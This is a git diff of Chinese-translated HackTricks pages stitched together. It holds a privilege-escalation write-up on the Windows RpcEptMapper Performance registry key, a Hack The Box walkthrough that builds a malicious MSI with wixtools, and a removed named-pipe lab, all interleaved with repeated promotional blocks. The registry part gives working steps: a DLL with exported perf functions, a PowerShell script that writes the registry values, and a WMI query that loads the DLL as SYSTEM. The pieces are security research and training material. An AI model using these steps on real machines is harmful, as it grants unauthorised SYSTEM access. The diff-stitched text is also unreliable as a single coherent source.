项目现在已正确配置,`DllMain` 已实现,我们有一个日志帮助函数和三个必需的函数。不过,还缺少最后一件事。如果我们编译这段代码,`OpenPerfData`、`CollectPerfData` 和 `ClosePerfData` 将只作为内部函数可用,因此我们需要将它们**导出**。这可以通过几种方式实现。例如,您可以创建一个 [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) 文件,然后相应地配置项目。然而,我更喜欢使用 `__declspec(dllexport)` 关键字([文档](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)),特别是对于像这样的小项目。这样,我们只需在源代码开头声明这三个函数。
|
|
||||||
```c
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
|
||||||
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
|
|
||||||
```
|
|
||||||
如果您想查看完整代码,我已将其上传[此处](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12)。
|
|
||||||
|
|
||||||
最后,我们可以选择 _**Release/x64**_ 并“_**构建解决方案**_”。这将生成我们的DLL文件:`.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`。
|
|
||||||
|
|
||||||
## 测试 PoC <a href="#testing-the-poc" id="testing-the-poc"></a>
|
|
||||||
|
|
||||||
在进一步操作之前,我总是确保我的有效载荷能够通过单独测试正常工作。在这里花费的一点时间可以通过防止您在假设的调试阶段进入死胡同而节省大量时间。为此,我们可以简单地使用 `rundll32.exe` 并传递DLL的名称和导出函数的名称作为参数。
|
|
||||||
```
|
|
||||||
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
|
|
||||||
```
|
|
||||||
很好,日志文件已创建,如果我们打开它,我们可以看到两条记录。第一条是当DLL被`rundll32.exe`加载时写入的。第二条是在调用`OpenPerfData`时写入的。看起来不错!![:slightly_smiling_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
|
|
||||||
```
|
|
||||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
|
|
||||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
|
|
||||||
```
|
|
||||||
现在,我们可以关注实际的漏洞,并开始创建所需的注册表键和值。我们可以手动使用 `reg.exe` / `regedit.exe` 来完成,或者用脚本以编程方式进行。由于我在最初的研究中已经手动执行了这些步骤,我将展示用PowerShell脚本更干净的方式来做同样的事情。此外,在PowerShell中创建注册表键和值就像调用 `New-Item` 和 `New-ItemProperty` 一样简单,不是吗? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
|
|
||||||
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10\_powershell-new-item-access-denied.png)
|
|
||||||
|
|
||||||
`请求的注册表访问不被允许`… 嗯,好吧… 看起来毕竟不会那么容易。 ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
|
|
||||||
|
|
||||||
我没有真正调查这个问题,但我的猜测是,当我们调用 `New-Item` 时,`powershell.exe` 实际上尝试以对应于我们没有的权限的某些标志来打开父注册表键。
|
|
||||||
|
|
||||||
无论如何,如果内置的cmdlet不能完成工作,我们总是可以下降一个层级,直接调用DotNet函数。实际上,注册表键也可以用以下PowerShell代码创建。
|
|
||||||
```
|
|
||||||
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/11_powershell-dotnet-createsubkey.png)
|
|
||||||
|
|
||||||
我们开始吧!最后,我编写了以下脚本,以创建适当的键和值,等待用户输入,最后通过清理所有内容来结束。
|
|
||||||
```
|
|
||||||
```
|
|
||||||
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
|
|
||||||
|
|
||||||
Write-Host "[*] Create 'Performance' subkey"
|
|
||||||
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
|
|
||||||
Write-Host "[*] Create 'Library' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Open' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Collect' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
Write-Host "[*] Create 'Close' value"
|
|
||||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
|
|
||||||
|
|
||||||
Read-Host -Prompt "Press any key to continue"
|
|
||||||
|
|
||||||
Write-Host "[*] Cleanup"
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
|
|
||||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
|
|
||||||
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
|
|
||||||
```
|
|
||||||
最后一步,**我们如何诱使 RPC Endpoint Mapper 服务加载我们的 Performace DLL?** 遗憾的是,我没有记录下我尝试过的所有不同方法。在这篇博客文章的背景下,强调研究有时可能是多么乏味和耗时是非常有趣的。无论如何,我在途中发现的一件事是,你可以使用 WMI(_Windows Management Instrumentation_)查询 _性能计数器_,毕竟这并不太令人惊讶。更多信息在这里:[_WMI 性能计数器类型_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types)。
|
|
||||||
|
|
||||||
> _计数器类型作为_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _类中属性的 CounterType 限定符,以及_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _类中属性的 CookingType 限定符出现。_
|
|
||||||
|
|
||||||
因此,我首先使用以下命令在 PowerShell 中枚举与 _性能数据_ 相关的 WMI 类。
|
|
||||||
```
|
|
||||||
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
|
|
||||||
```
|
|
||||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/12_powershell-get-wmiobject.gif)
|
|
||||||
|
|
||||||
然后,我看到我的日志文件几乎立刻就被创建了!以下是文件的内容。
|
|
||||||
```
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
|
||||||
```
|
|
||||||
我原本以为最多只能以`NETWORK SERVICE`的身份在`RpcEptMapper`服务的上下文中执行任意代码,但结果比预期的要好得多。我实际上在`WMI`服务本身的上下文中获得了任意代码执行权限,而该服务是以`LOCAL SYSTEM`身份运行的。这有多棒?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
|
|
||||||
|
|
||||||
> **注意:**如果我获得了作为`NETWORK SERVICE`的任意代码执行权限,那么多亏了几个月前James Forshaw在这篇博客文章中展示的技巧,我离`LOCAL SYSTEM`账户只有一个令牌的距离:[Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html)。
|
|
||||||
|
|
||||||
我还尝试分别获取每个WMI类,并观察到了完全相同的结果。
|
|
||||||
```
|
|
||||||
Get-WmiObject Win32_Perf
|
|
||||||
Get-WmiObject Win32_PerfRawData
|
|
||||||
Get-WmiObject Win32_PerfFormattedData
|
|
||||||
```
|
|
||||||
## 结论 <a href="#conclusion" id="conclusion"></a>
|
|
||||||
|
|
||||||
我不知道这个漏洞为何如此长时间未被注意到。一个解释是其他工具可能在寻找注册表中的完全写入权限,而实际上在这种情况下`AppendData/AddSubdirectory`权限已经足够了。关于“配置错误”本身,我假设注册表键是为了特定目的而设置的,尽管我想不出具体的场景,用户会有任何权限修改服务的配置。
|
|
||||||
|
|
||||||
我决定公开写关于这个漏洞的文章有两个原因。第一个是我实际上在几个月前更新我的PrivescCheck脚本时,加入了`GetModfiableRegistryPath`函数,那时我无意中公开了它。第二个原因是影响较小。它需要本地访问权限,并且只影响不再受支持的旧版本Windows(除非你购买了扩展支持...)。此时,如果你仍在使用Windows 7 / Server 2008 R2而没有先在网络中适当隔离这些机器,那么防止攻击者获得SYSTEM权限可能是你最不需要担心的问题。
|
|
||||||
|
|
||||||
除了这个特权提升漏洞的轶事之外,我认为这个“性能”注册表设置为后期利用、横向移动和AV/EDR规避打开了非常有趣的机会。我已经想到了一些特定的场景,但我还没有测试它们。未完待续?…
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在**HackTricks**中看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,22 +1,24 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# 创建恶意MSI并获取Root权限
|
||||||
|
|
||||||
**教程复制自** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
使用wixtools创建MSI安装程序,具体来说将使用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他MSI构建器,但在这个特定案例中它们没有成功。
|
||||||
为了创建msi,我们将使用 [wixtools](http://wixtoolset.org),您也可以使用其他msi构建器,但它们对我不起作用。\
|
|
||||||
查看[此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)了解一些wix msi使用示例。\
|
为了全面了解wix MSI的使用示例,建议参考[此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,展示了wix MSI的使用方法。
|
||||||
我们将创建一个执行我们lnk文件的msi:
|
|
||||||
|
目标是生成一个将执行lnk文件的MSI。为了实现这一点,可以使用以下XML代码([此处的xml](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||||
|
@ -48,29 +50,35 @@ fail_here
|
||||||
</Product>
|
</Product>
|
||||||
</Wix>
|
</Wix>
|
||||||
```
|
```
|
||||||
我们将使用 wixtools 中的 `candle.exe` 从 `msi.xml` 创建一个 wixobject。
|
```markdown
|
||||||
```markup
|
需要注意的是,Package 元素包含了如 InstallerVersion 和 Compressed 等属性,分别指定了安装程序的版本以及包是否被压缩。
|
||||||
|
|
||||||
|
创建过程涉及使用 wixtools 中的工具 candle.exe,从 msi.xml 生成 wixobject。应执行以下命令:
|
||||||
|
```
|
||||||
|
```
|
||||||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||||
```
|
```
|
||||||
然后我们将使用 `light.exe` 从 wixobject 创建 msi 文件:
|
此外,值得一提的是,帖子中提供了一张图片,展示了命令及其输出。您可以参考它以获得视觉指导。
|
||||||
```markup
|
|
||||||
|
此外,将使用来自wixtools的另一个工具light.exe,从wixobject创建MSI文件。要执行的命令如下:
|
||||||
|
```
|
||||||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||||||
```
|
```
|
||||||
```markdown
|
# 参考资料
|
||||||
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
* [https://0xrick.github.io/hack-the-box/ethereal/#创建恶意msi并获取root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
|
||||||
|
* [https://www.codeproject.com/Tips/105638/快速入门:使用WiX创建MSI安装程序](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
|
||||||
|
[wixtools](http://wixtoolset.org)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在**HackTricks上看到你的公司广告**或者**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -4,186 +4,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
**这些信息是从** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) **复制的**
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
`管道`是一个共享内存块,进程可以用它来进行通信和数据交换。
|
|
||||||
|
|
||||||
`命名管道`是Windows机制,允许两个不相关的进程之间交换数据,即使这些进程位于两个不同的网络上。它与客户端/服务器架构非常相似,因为存在`命名管道服务器`和`命名管道客户端`的概念。
|
|
||||||
|
|
||||||
命名管道服务器可以打开一个具有预定义名称的命名管道,然后命名管道客户端可以通过已知名称连接到该管道。一旦连接建立,就可以开始数据交换。
|
|
||||||
|
|
||||||
这个实验室关注的是一个简单的PoC代码,允许:
|
|
||||||
|
|
||||||
* 创建一个单线程的简单命名管道服务器,它将接受一个客户端连接
|
|
||||||
* 命名管道服务器向命名管道写入一个简单消息,以便管道客户端可以读取它
|
|
||||||
|
|
||||||
## 代码
|
|
||||||
|
|
||||||
以下是服务器和客户端的PoC代码:
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="namedPipeServer.cpp" %}
|
|
||||||
```cpp
|
|
||||||
#include "pch.h"
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <iostream>
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
||||||
LPVOID pipeBuffer = NULL;
|
|
||||||
HANDLE serverPipe;
|
|
||||||
DWORD readBytes = 0;
|
|
||||||
DWORD readBuffer = 0;
|
|
||||||
int err = 0;
|
|
||||||
BOOL isPipeConnected;
|
|
||||||
BOOL isPipeOpen;
|
|
||||||
wchar_t message[] = L"HELL";
|
|
||||||
DWORD messageLenght = lstrlen(message) * 2;
|
|
||||||
DWORD bytesWritten = 0;
|
|
||||||
|
|
||||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
||||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
||||||
|
|
||||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
||||||
if (isPipeConnected) {
|
|
||||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wcout << "Sending message: " << message << std::endl;
|
|
||||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="namedPipeClient.cpp" %}
|
|
||||||
```cpp
|
|
||||||
#include "pch.h"
|
|
||||||
#include <iostream>
|
|
||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
const int MESSAGE_SIZE = 512;
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
|
|
||||||
HANDLE clientPipe = NULL;
|
|
||||||
BOOL isPipeRead = true;
|
|
||||||
wchar_t message[MESSAGE_SIZE] = { 0 };
|
|
||||||
DWORD bytesRead = 0;
|
|
||||||
|
|
||||||
std::wcout << "Connecting to " << pipeName << std::endl;
|
|
||||||
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
|
|
||||||
while (isPipeRead) {
|
|
||||||
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
|
|
||||||
std::wcout << "Received message: " << message;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
## 执行
|
|
||||||
|
|
||||||
以下展示了命名管道服务器和命名管道客户端按预期工作的情况:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
|
|
||||||
|
|
||||||
值得注意的是,默认情况下命名管道通信使用SMB协议:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
|
|
||||||
|
|
||||||
检查进程如何保持对我们的命名管道 `mantvydas-first-pipe` 的句柄:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
|
|
||||||
|
|
||||||
同样,我们可以看到客户端对命名管道有一个开放的句柄:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
|
|
||||||
|
|
||||||
我们甚至可以用powershell看到我们的管道:
|
|
||||||
```csharp
|
|
||||||
((Get-ChildItem \\.\pipe\).name)[-1..-5]
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
## 令牌模仿
|
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
请注意,为了模仿客户端进程的令牌,您需要拥有(创建管道的服务器进程)**`SeImpersonate`** 令牌权限
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
命名管道服务器可以通过利用 `ImpersonateNamedPipeClient` API 调用来模仿命名管道客户端的安全上下文,这反过来会将命名管道服务器当前线程的令牌更改为命名管道客户端的令牌。
|
|
||||||
|
|
||||||
我们可以像这样更新命名管道服务器的代码来实现模仿 - 请注意,修改在第25行及以下可见:
|
|
||||||
```
|
|
||||||
```cpp
|
|
||||||
int main() {
|
|
||||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
||||||
LPVOID pipeBuffer = NULL;
|
|
||||||
HANDLE serverPipe;
|
|
||||||
DWORD readBytes = 0;
|
|
||||||
DWORD readBuffer = 0;
|
|
||||||
int err = 0;
|
|
||||||
BOOL isPipeConnected;
|
|
||||||
BOOL isPipeOpen;
|
|
||||||
wchar_t message[] = L"HELL";
|
|
||||||
DWORD messageLenght = lstrlen(message) * 2;
|
|
||||||
DWORD bytesWritten = 0;
|
|
||||||
|
|
||||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
||||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
||||||
|
|
||||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
||||||
if (isPipeConnected) {
|
|
||||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wcout << "Sending message: " << message << std::endl;
|
|
||||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
||||||
|
|
||||||
